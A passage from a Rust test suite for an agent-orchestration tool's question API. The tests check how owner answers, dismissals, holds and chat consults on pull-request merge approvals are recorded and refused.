10406 state.id.clone(),
10407 crate::land::APPROVAL_NODE.into(),
10408 "land".into(),
10409 "Superseded PR approval".into(),
10410 "Original review evidence".into(),
10411 vec!["merge".into(), "hold".into()],
10412 );
10413 state.land_approval = Some(crate::run::LandApproval {
10414 question: q.id.clone(),
10415 head: "old-reviewed-head".into(),
10416 });
10417 state.save_under(fx.home.path()).unwrap();
10420 let stale_driver = state.clone();
10421 fx.questions().put(&mut q).unwrap();
10422 let path = fx
10423 .home
10424 .path()
10425 .join("questions")
10426 .join(format!("{}.json", q.id));
10427 let mut legacy = serde_json::to_value(&q).unwrap();
10428 legacy["schema"] = 9.into();
10429 legacy.as_object_mut().unwrap().remove("merge_target");
10430 std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
10431
10432 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10435 let answer_path = format!("/api/questions/{}/answer", q.id);
10436 let res = fx.post(&answer_path, Some(&body)).await;
10437 assert_eq!(res.status, 200, "{}", res.body);
10438 let disk = fx.questions().get(&q.id).unwrap();
10439 assert_eq!(
10440 disk.resolution().as_deref(),
10441 Some(crate::merge_decision::DISMISS)
10442 );
10443 assert!(disk.detail.starts_with("Original review evidence"));
10444 let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
10445 assert_eq!(retired.status, RunStatus::Superseded);
10446 assert_eq!(
10447 serde_json::to_value(&retired.pr).unwrap(),
10448 serde_json::to_value(&state.pr).unwrap()
10449 );
10450 assert!(!retired.merge_decision.as_ref().unwrap().closed);
10451 assert!(!crate::merge_decision::resumable_hold(&retired));
10452 assert!(fx.queue().list().is_empty());
10453 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10454 let addr = Fixture::serve(
10456 fx.home.path(),
10457 PathBuf::from("/repo/magi"),
10458 launch_idle,
10459 None,
10460 )
10461 .await;
10462 let reconnected = Fixture {
10463 home: fx.home,
10464 addr,
10465 };
10466 let listed = reconnected.get("/api/questions").await.json();
10467 assert!(
10468 listed
10469 .as_array()
10470 .unwrap()
10471 .iter()
10472 .all(|q| q["status"] != "open")
10473 );
10474 assert_eq!(listed[0]["id"], q.id, "history remains available");
10475 assert_eq!(
10476 reconnected.get("/api/health").await.json()["questions_open"],
10477 0
10478 );
10479 assert_eq!(
10480 reconnected
10481 .post(&answer_path, Some(r#"{"choice":"merge"}"#))
10482 .await
10483 .status,
10484 409
10485 );
10486 assert!(
10488 reconnected
10489 .questions()
10490 .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
10491 .is_err()
10492 );
10493 assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
10496 }
10497
10498 #[tokio::test]
10499 async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
10500 let fx = Fixture::start().await;
10501 let mut state = obsolete_approval_state();
10502 state.status = RunStatus::Landing;
10503 state.driver_exited = true;
10504 let mut q = Question::new(
10505 state.id.clone(),
10506 crate::land::APPROVAL_NODE.into(),
10507 "land".into(),
10508 "Obsolete approval".into(),
10509 String::new(),
10510 vec!["merge".into(), "hold".into()],
10511 );
10512 state.land_approval = Some(crate::run::LandApproval {
10513 question: q.id.clone(),
10514 head: "head".into(),
10515 });
10516 state.save_under(fx.home.path()).unwrap();
10517 fx.questions().put(&mut q).unwrap();
10518 let mut task = Task::new(
10519 "Owner".into(),
10520 "Original instruction".into(),
10521 state.repo.clone(),
10522 Source::Human,
10523 );
10524 task.runs = vec![state.id.clone(), "later-run".into()];
10525 fx.queue().put(&mut task).unwrap();
10526 let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
10527 let claim = fx.queue().claim(&task.id).unwrap();
10528 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10529 let path = format!("/api/questions/{}/answer", q.id);
10530 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10531 assert!(fx.questions().get(&q.id).unwrap().status.open());
10532 drop(claim);
10533 let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
10534 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10535 assert!(fx.questions().get(&q.id).unwrap().status.open());
10536 drop(publication);
10537 state.driver_exited = false;
10539 state.driver_pid = None;
10540 state.save_under(fx.home.path()).unwrap();
10541 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10542 state.driver_exited = true;
10543 state.land_armed_head = Some("head".into());
10544 state.save_under(fx.home.path()).unwrap();
10545 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10546 state.land_armed_head = None;
10547 state.save_under(fx.home.path()).unwrap();
10548 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
10549 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10550 assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
10551 }
10552
10553 #[tokio::test]
10554 async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
10555 let fx = Fixture::start().await;
10556 let mut state = obsolete_approval_state();
10557 state.status = RunStatus::Landing;
10558 state.driver_exited = true;
10559 let mut q = Question::new(
10560 state.id.clone(),
10561 crate::land::APPROVAL_NODE.into(),
10562 "land".into(),
10563 "Obsolete approval".into(),
10564 String::new(),
10565 vec!["merge".into(), "hold".into()],
10566 );
10567 state.land_approval = Some(crate::run::LandApproval {
10568 question: q.id.clone(),
10569 head: "head".into(),
10570 });
10571 state.save_under(fx.home.path()).unwrap();
10572 fx.questions().put(&mut q).unwrap();
10573 let mut task = Task::new(
10574 "Owner".into(),
10575 "Original instruction".into(),
10576 state.repo.clone(),
10577 Source::Human,
10578 );
10579 task.runs.push(state.id.clone());
10580 task.status = TaskStatus::Parked;
10581 fx.queue().put(&mut task).unwrap();
10582 state.merge_decision = Some(crate::merge_decision::Decision {
10585 question: q.id.clone(),
10586 target: crate::merge_decision::Target {
10587 pr: state.pr.as_ref().unwrap().url.clone(),
10588 head: "head".into(),
10589 language: "ja".into(),
10590 },
10591 choice: crate::merge_decision::DISMISS.into(),
10592 closed: false,
10593 replacement_run: None,
10594 replacement_pr: None,
10595 });
10596 state.status = RunStatus::Superseded;
10597 state.save_under(fx.home.path()).unwrap();
10598 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10599 let path = format!("/api/questions/{}/answer", q.id);
10600 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
10601 let done = fx.queue().get(&task.id).unwrap();
10602 assert_eq!(done.status, TaskStatus::Done);
10603 assert_eq!(done.runs, task.runs);
10604 assert_eq!(done.instruction, task.instruction);
10605 assert!(done.action_applied(&q.id));
10606 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10607 assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
10608 assert!(!fx.questions().get(&q.id).unwrap().status.open());
10609 }
10610
10611 #[tokio::test]
10612 async fn merge_decision_api_persists_exact_target_and_selected_action() {
10613 let fx = Fixture {
10614 home: TempDir::new().unwrap(),
10615 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10616 };
10617 for choice in [
10618 crate::land::HOLD,
10619 crate::land::REPAIR,
10620 crate::land::APPROVE,
10621 crate::merge_decision::WITHDRAW,
10622 "reimplement:beta",
10623 ] {
10624 let mut q = Question::new(
10625 "old-run".into(),
10626 crate::land::APPROVAL_NODE.into(),
10627 "land".into(),
10628 "Decision".into(),
10629 "Review findings".into(),
10630 vec![
10631 "merge".into(),
10632 "hold".into(),
10633 crate::land::REPAIR.into(),
10634 crate::merge_decision::WITHDRAW.into(),
10635 "reimplement:beta".into(),
10636 ],
10637 );
10638 q.merge_target = Some(crate::merge_decision::Target {
10639 pr: "https://github.com/example/repo/pull/42".into(),
10640 head: "exact-reviewed-head".into(),
10641 language: "ja".into(),
10642 });
10643 q.consult = Some(ask::ChatConsult {
10644 talk: "another-conversation".into(),
10645 at: jiff::Timestamp::now(),
10646 });
10647 fx.questions().put(&mut q).unwrap();
10648 let ui = Arc::new(Ui::new(
10649 fx.queue(),
10650 fx.questions(),
10651 fx.talks(),
10652 fx.runs(),
10653 fx.home.path().into(),
10654 std::path::PathBuf::from("."),
10655 ));
10656 let response = question_answer(
10657 State(ui.clone()),
10658 Path(q.id.clone()),
10659 Ok(Json(NewAnswer {
10660 choice: Some(choice.into()),
10661 text: None,
10662 })),
10663 )
10664 .await
10665 .unwrap();
10666 assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
10667 let disk = fx.questions().get(&q.id).unwrap();
10668 assert_eq!(disk.merge_target, q.merge_target);
10669 assert_eq!(disk.consult, q.consult);
10670 assert!(
10671 disk.answer_authority.is_none(),
10672 "a direct owner card is its own decision"
10673 );
10674 assert_eq!(disk.resolution().as_deref(), Some(choice));
10675 assert!(
10676 question_answer(
10677 State(ui),
10678 Path(q.id.clone()),
10679 Ok(Json(NewAnswer {
10680 choice: Some("merge".into()),
10681 text: None
10682 }))
10683 )
10684 .await
10685 .is_err(),
10686 "an already settled decision cannot turn into merge approval"
10687 );
10688 }
10689 }
10690
10691 #[tokio::test]
10692 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
10693 let fx = Fixture {
10694 home: TempDir::new().unwrap(),
10695 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10696 };
10697 let mut state = crate::land::tests::repair_state(true, true);
10698 state.status = RunStatus::Landing;
10699 state.parked = true;
10700 state.driver_exited = true;
10701 let mut task = Task::new(
10702 "Existing PR owner".into(),
10703 state.instruction.clone(),
10704 state.repo.clone(),
10705 Source::Human,
10706 );
10707 task.runs.push(state.id.clone());
10708 task.status = TaskStatus::Parked;
10709 fx.queue().put(&mut task).unwrap();
10710 let mut q = Question::new(
10711 state.id.clone(),
10712 crate::land::APPROVAL_NODE.into(),
10713 "land".into(),
10714 "Contested merge".into(),
10715 "Original evidence".into(),
10716 vec!["merge".into(), "hold".into()],
10717 );
10718 state.land_approval = Some(crate::run::LandApproval {
10719 question: q.id.clone(),
10720 head: "reviewed-head".into(),
10721 });
10722 state.save_under(fx.home.path()).unwrap();
10723 fx.questions().put(&mut q).unwrap();
10724 task.hold_manual(Some("Pause this PR".into()));
10726 fx.queue().put(&mut task).unwrap();
10727 let ui = Arc::new(Ui::new(
10730 fx.queue(),
10731 fx.questions(),
10732 fx.talks(),
10733 fx.runs(),
10734 fx.home.path().to_path_buf(),
10735 state.repo.clone(),
10736 ));
10737 let response = question_answer(
10738 State(ui),
10739 Path(q.id.clone()),
10740 Ok(Json(NewAnswer {
10741 choice: Some(crate::land::REPAIR.into()),
10742 text: None,
10743 })),
10744 )
10745 .await
10746 .unwrap();
10747 assert_eq!(response.0.question.id, q.id);
10748 let upgraded = fx.questions().get(&q.id).unwrap();
10749 assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
10750 assert!(upgraded.detail.starts_with("Original evidence"));
10751 let claim = fx.queue().claim(&task.id).unwrap();
10752 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10753 assert!(
10754 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
10755 "an existing driver keeps its claim"
10756 );
10757 drop(claim);
10758 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10759 let resumed = fx.queue().get(&task.id).unwrap();
10760 assert_eq!(
10761 resumed
10762 .resume_override
10763 .as_ref()
10764 .unwrap()
10765 .pinned_run
10766 .as_deref(),
10767 Some(state.id.as_str())
10768 );
10769 assert!(resumed.status.runnable());
10770 assert_eq!(resumed.instruction, task.instruction);
10771 assert_eq!(resumed.runs, task.runs);
10772 assert!(resumed.action_applied(&q.id));
10773 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10774 assert_eq!(fx.queue().list().len(), 1);
10775 assert_eq!(
10776 fx.queue().get(&task.id).unwrap().resume_override,
10777 resumed.resume_override
10778 );
10779 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
10780 assert!(
10781 disk.merge_repairs.is_empty(),
10782 "only the claimed run driver may execute repair"
10783 );
10784 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
10785 }
10786
10787 #[tokio::test]
10788 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
10789 let fx = Fixture::start().await;
10790 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10791 let path = format!("/api/questions/{id}/answer");
10792
10793 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
10794 assert_eq!(res.status, 200, "{}", res.body);
10795 let body = res.json();
10796 assert_eq!(body["status"], "answered");
10797 assert_eq!(body["answer"]["choice"], "Redis");
10798
10799 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
10803 assert_eq!(again.status, 409, "{}", again.body);
10804 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
10805 }
10806
10807 #[tokio::test]
10808 async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
10809 let home = tempfile::tempdir().unwrap();
10810 let ui = delta_test_ui(home.path());
10811 let mut q = Question::new(
10812 "task".into(),
10813 crate::land::APPROVAL_NODE.into(),
10814 "land".into(),
10815 "Explain?".into(),
10816 String::new(),
10817 vec!["hold".into()],
10818 );
10819 q.deputy = Some(ask::Deputy::new("context".into()));
10820 ui.questions.put(&mut q).unwrap();
10821 let mut cfg = stub_config();
10822 cfg.daemon.max_deputies = 0;
10823 let mut status = crate::daemon::Status::new();
10824 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
10825 crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
10826 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
10827 let error = question_say(
10828 State(ui.clone()),
10829 Path(q.id.clone()),
10830 Ok(Json(NewSay {
10831 body: "Explain the findings".into(),
10832 })),
10833 )
10834 .await
10835 .unwrap_err();
10836 assert_eq!(
10837 error.text_reason,
10838 Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
10839 );
10840 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
10841
10842 let mut text = Question::new(
10843 "task".into(),
10844 "ask".into(),
10845 "operator".into(),
10846 "Which name?".into(),
10847 String::new(),
10848 vec![],
10849 );
10850 ui.questions.put(&mut text).unwrap();
10851 let Json(view) = question_answer(
10852 State(ui.clone()),
10853 Path(text.id.clone()),
10854 Ok(Json(NewAnswer {
10855 choice: None,
10856 text: Some("chosen name".into()),
10857 })),
10858 )
10859 .await
10860 .unwrap();
10861 assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
10862 assert!(!ui.questions.get(&text.id).unwrap().status.open());
10863 }
10864
10865 #[tokio::test]
10866 async fn question_text_handler_admission_without_transport() {
10867 let home = tempfile::tempdir().unwrap();
10868 let ui = delta_test_ui(home.path());
10869 let mut q = Question::new(
10870 "task".into(),
10871 crate::land::APPROVAL_NODE.into(),
10872 "land".into(),
10873 "May this PR merge?".into(),
10874 String::new(),
10875 vec!["hold".into()],
10876 );
10877 q.deputy = Some(ask::Deputy::new("reviewed head".into()));
10878 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10879 ui.questions.put(&mut q).unwrap();
10880 let say = || {
10881 Ok(Json(NewSay {
10882 body: "Explain the findings".into(),
10883 }))
10884 };
10885 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
10886 .await
10887 .unwrap_err();
10888 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
10889 let response = rejected.into_response();
10890 let body = axum::body::to_bytes(response.into_body(), usize::MAX)
10891 .await
10892 .unwrap();
10893 let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
10894 assert_eq!(body["code"], "question_text_unavailable");
10895 assert_eq!(body["reason"], "deputy_exhausted");
10896 assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
10897 assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
10898 ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
10899 let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
10900 .await
10901 .unwrap();
10902 assert_eq!(view.text_delivery.state, "live");
10903 assert!(view.question.waiter.is_none());
10904 assert!(view.question.cwd.is_none());
10905 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
10906 ui.questions.drop_lease(&q.id);
10907 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
10908 .await
10909 .unwrap_err();
10910 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
10911 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
10912 let _ = question_answer(
10913 State(ui.clone()),
10914 Path(q.id.clone()),
10915 Ok(Json(NewAnswer {
10916 choice: Some("hold".into()),
10917 text: None,
10918 })),
10919 )
10920 .await
10921 .unwrap();
10922 assert_eq!(
10923 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
10924 Some("hold")
10925 );
10926 }
10927
10928 #[tokio::test]
10929 async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
10930 let fx = Fixture::start().await;
10931 let store = fx.questions();
10932 let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
10933 store
10934 .update(&id, |q| {
10935 q.node = crate::land::APPROVAL_NODE.to_owned();
10936 q.deputy = Some(ask::Deputy::new("approval".to_owned()));
10937 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10938 Ok(())
10939 })
10940 .unwrap();
10941 let path = format!("/api/questions/{id}/say");
10942 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
10943 assert_eq!(refused.status, 422, "{}", refused.body);
10944 assert!(
10945 refused.json()["error"]
10946 .as_str()
10947 .unwrap()
10948 .contains("deputy_exhausted")
10949 );
10950 assert!(store.get(&id).unwrap().thread.is_empty());
10951
10952 store.beat(&id, ask::WaiterKind::Deputy);
10954 let view = fx.get("/api/questions").await.json();
10955 assert_eq!(view[0]["text_delivery"]["state"], "live");
10956 let accepted = fx
10957 .post(&path, Some(r#"{"body":"explain the findings"}"#))
10958 .await;
10959 assert_eq!(accepted.status, 200, "{}", accepted.body);
10960 let before = std::fs::read(store.path_of(&id)).unwrap();
10961
10962 store.drop_lease(&id);
10965 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
10966 assert_eq!(refused.status, 422, "{}", refused.body);
10967 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
10968 let held = fx
10969 .post(
10970 &format!("/api/questions/{id}/answer"),
10971 Some(r#"{"choice":"hold"}"#),
10972 )
10973 .await;
10974 assert_eq!(held.status, 200, "{}", held.body);
10975 assert_eq!(store.get(&id).unwrap().thread.len(), 1);
10976 }
10977
10978 #[tokio::test]
10979 async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
10980 let repo = tempfile::tempdir().unwrap();
10981 let mut cfg = stub_config();
10982 cfg.daemon.max_deputies = 0;
10983 std::fs::write(
10984 repo.path().join("magi.toml"),
10985 toml::to_string(&cfg).unwrap(),
10986 )
10987 .unwrap();
10988 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
10989 let mut status = crate::daemon::Status::new();
10990 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
10991 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
10992 let id = ask(&fx, "Explain?", &["hold"]);
10993 fx.questions()
10994 .update(&id, |q| {
10995 q.node = crate::land::APPROVAL_NODE.into();
10996 q.deputy = Some(ask::Deputy::new("context".into()));
10997 q.deputy.as_mut().unwrap().agent = "stub".into();
10998 Ok(())
10999 })
11000 .unwrap();
11001 cfg.daemon.max_deputies = 1;
11002 std::fs::write(
11003 repo.path().join("magi.toml"),
11004 toml::to_string(&cfg).unwrap(),
11005 )
11006 .unwrap();
11007 let view = fx.get("/api/questions").await.json();
11008 assert_eq!(view[0]["deputies_enabled"], true);
11009 assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
11010 let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
11011 let res = fx
11012 .post(
11013 &format!("/api/questions/{id}/say"),
11014 Some(r#"{"body":"Please explain"}"#),
11015 )
11016 .await;
11017 assert_eq!(res.status, 422, "{}", res.body);
11018 assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
11019 }
11020
11021 #[tokio::test]
11022 async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
11023 let fx = Fixture::start().await;
11024 let id = ask(&fx, "No seat", &[]);
11025 let store = fx.questions();
11026 let before = std::fs::read(store.path_of(&id)).unwrap();
11027 let res = fx
11028 .post(
11029 &format!("/api/questions/{id}/say"),
11030 Some(r#"{"body":"hello"}"#),
11031 )
11032 .await;
11033 assert_eq!(res.status, 422, "{}", res.body);
11034 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
11035 let res = fx
11036 .post(
11037 &format!("/api/questions/{id}/answer"),
11038 Some(r#"{"text":"hello"}"#),
11039 )
11040 .await;
11041 assert_eq!(res.status, 200, "{}", res.body);
11042 assert_eq!(
11043 store.get(&id).unwrap().resolution().as_deref(),
11044 Some("hello")
11045 );
11046 }
11047
11048 #[tokio::test]
11049 async fn saying_something_appends_a_turn_without_answering() {
11050 let fx = Fixture::start().await;
11051 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11052 fx.questions().beat(&id, ask::WaiterKind::Asker);
11053 let path = format!("/api/questions/{id}/say");
11054
11055 let res = fx
11056 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
11057 .await;
11058 assert_eq!(res.status, 200, "{}", res.body);
11059 let body = res.json();
11060 assert_eq!(body["status"], "open", "talking back is not a decision");
11061 assert_eq!(body["answer"], Value::Null);
11062 assert_eq!(body["thread"][0]["who"], "operator");
11063 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
11064 assert_eq!(body["waiting_on_agent"], true);
11065 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11067 }
11068
11069 #[tokio::test]
11070 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
11071 let fx = Fixture::start().await;
11072 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11073
11074 let list = fx.get("/api/questions").await.json();
11075 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
11076
11077 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
11078 assert_eq!(res.status, 409, "{}", res.body);
11079 let q = fx.questions().get(&id).unwrap();
11080 assert!(q.status.open());
11081 assert!(q.consult.is_none());
11082 }
11083
11084 #[tokio::test]
11085 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
11086 let fx = Fixture::start().await;
11087 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11088 let cfg = Config {
11089 agents: vec![crate::config::AgentSpec {
11090 id: "mock".to_owned(),
11091 kind: crate::config::AgentKind::Command,
11092 model: None,
11093 command: vec!["true".to_owned()],
11094 extra_args: Vec::new(),
11095 env: Default::default(),
11096 prompt_delivery: None,
11097 }],
11098 ..Config::default()
11099 };
11100 let talk = crate::talk::begin(
11101 &fx.talks(),
11102 &cfg,
11103 fx.home.path().to_path_buf(),
11104 Some("mock"),
11105 )
11106 .unwrap();
11107 let mut task = Task::new(
11108 "t".to_owned(),
11109 "Do it".to_owned(),
11110 PathBuf::from("/repo/magi"),
11111 Source::Agent {
11112 run: talk.id.clone(),
11113 node: crate::queue::CHAT_NODE.to_owned(),
11114 },
11115 );
11116 task.start("20260902-000000-beef".to_owned());
11117 fx.queue().put(&mut task).unwrap();
11118
11119 let list = fx.get("/api/questions").await.json();
11120 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
11121 assert_eq!(
11122 list[0]["choices"],
11123 serde_json::json!(["SQLite", "Redis"]),
11124 "the hand-over is never a choice"
11125 );
11126 fx.questions()
11127 .update(&id, |q| {
11128 q.node = crate::land::APPROVAL_NODE.into();
11129 q.choices = vec!["merge".into(), "hold".into()];
11130 Ok(())
11131 })
11132 .unwrap();
11133 let list = fx.get("/api/questions").await.json();
11134 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
11135 assert_eq!(list[0]["can_consult_chat"], true);
11136 fx.questions()
11137 .update(&id, |q| {
11138 q.node = crate::bump::NOTICE_NODE.into();
11139 Ok(())
11140 })
11141 .unwrap();
11142 let list = fx.get("/api/questions").await.json();
11143 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
11144 assert_eq!(list[0]["can_consult_chat"], false);
11145 }
11146
11147 #[tokio::test]
11148 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
11149 let fx = Fixture::start().await;
11150 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11151 fx.questions()
11152 .update(&id, |q| {
11153 q.node = crate::land::APPROVAL_NODE.into();
11154 q.choices = vec!["merge".into(), "hold".into()];
11155 Ok(())
11156 })
11157 .unwrap();
11158 let cfg = Config {
11159 agents: vec![crate::config::AgentSpec {
11160 id: "mock".to_owned(),
11161 kind: crate::config::AgentKind::Command,
11162 model: None,
11163 command: vec!["true".to_owned()],
11164 extra_args: Vec::new(),
11165 env: Default::default(),
11166 prompt_delivery: None,
11167 }],
11168 ..Config::default()
11169 };
11170 let repo = fx.home.path().join("chat-repo");
11172 std::fs::create_dir_all(&repo).unwrap();
11173 let toml = repo.join("magi.toml");
11174 std::fs::write(&toml, "this is = = not toml").unwrap();
11175 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
11176 let mut task = Task::new(
11177 "t".to_owned(),
11178 "Do it".to_owned(),
11179 PathBuf::from("/repo/magi"),
11180 Source::Agent {
11181 run: talk.id.clone(),
11182 node: crate::queue::CHAT_NODE.to_owned(),
11183 },
11184 );
11185 task.start("20260902-000000-beef".to_owned());
11186 fx.queue().put(&mut task).unwrap();
11187
11188 let path = format!("/api/questions/{id}/consult");
11189 let res = fx.post(&path, None).await;
11190 assert!(res.status >= 400, "{}", res.body);
11191 assert!(fx.questions().get(&id).unwrap().consult.is_none());
11192 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
11193
11194 std::fs::write(&toml, "").unwrap();
11195 let res = fx.post(&path, None).await;
11196 assert_eq!(res.status, 202, "{}", res.body);
11197 assert!(fx.questions().get(&id).unwrap().consult.is_some());
11198 let q = fx.questions().get(&id).unwrap();
11199 assert!(q.status.open());
11200 assert!(q.answer.is_none());
11201 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
11202 assert_eq!(res.json()["can_consult_chat"], true);
11203 let list = fx.get("/api/questions").await.json();
11204 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
11205 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
11206
11207 let res = fx
11208 .post(
11209 &format!("/api/questions/{id}/answer"),
11210 Some(r#"{"choice":"hold"}"#),
11211 )
11212 .await;
11213 assert_eq!(res.status, 200, "{}", res.body);
11214 assert_eq!(res.json()["answer"]["choice"], "hold");
11215 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
11216 assert_eq!(res.json()["can_consult_chat"], false);
11217 assert_eq!(fx.post(&path, None).await.status, 409);
11218
11219 let mut talk = fx.talks().get(&talk.id).unwrap();
11220 crate::talk::close(&mut talk, &fx.talks()).unwrap();
11221 let list = fx.get("/api/questions").await.json();
11222 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
11223 assert_eq!(list[0]["origin_chat_closed"], true);
11224 assert_eq!(list[0]["can_consult_chat"], false);
11225
11226 fx.talks().remove(&talk.id).unwrap();
11227 let list = fx.get("/api/questions").await.json();
11228 assert_eq!(list[0]["origin_chat"], Value::Null);
11229 assert_eq!(list[0]["origin_chat_closed"], false);
11230 assert_eq!(list[0]["can_consult_chat"], false);
11231 }
11232
11233 #[tokio::test]
11234 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
11235 let fx = Fixture::start().await;
11236 let store = fx.questions();
11237 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11238 store.beat(&id, ask::WaiterKind::Asker);
11239 assert_eq!(
11240 fx.get("/api/health").await.json()["questions_needs_owner"],
11241 1
11242 );
11243
11244 let res = fx
11250 .post(
11251 &format!("/api/questions/{id}/say"),
11252 Some(r#"{"body":"why not Postgres?"}"#),
11253 )
11254 .await;
11255 assert_eq!(res.status, 200, "{}", res.body);
11256 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11257 assert_eq!(
11258 fx.get("/api/health").await.json()["questions_needs_owner"],
11259 0,
11260 "waiting on the agent is not waiting on the owner"
11261 );
11262
11263 let mut q = store.get(&id).expect("get");
11267 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
11268 .expect("reply");
11269 store.put(&mut q).expect("put");
11270 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11271 assert_eq!(
11272 fx.get("/api/health").await.json()["questions_needs_owner"],
11273 1,
11274 "the agent's reply is what should light the banner back up"
11275 );
11276 }
11277
11278 #[tokio::test]
11279 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
11280 let fx = Fixture::start().await;
11281 let store = fx.questions();
11282
11283 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11284 let res = fx
11285 .post(
11286 &format!("/api/questions/{empty_id}/say"),
11287 Some(r#"{"body":" "}"#),
11288 )
11289 .await;
11290 assert_eq!(res.status, 400, "{}", res.body);
11291
11292 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11293 let mut answered = store.get(&answered_id).expect("get");
11294 answered
11295 .answer(Answer::Choice("SQLite".to_owned()))
11296 .expect("answer");
11297 store.put(&mut answered).expect("put");
11298 let res = fx
11299 .post(
11300 &format!("/api/questions/{answered_id}/say"),
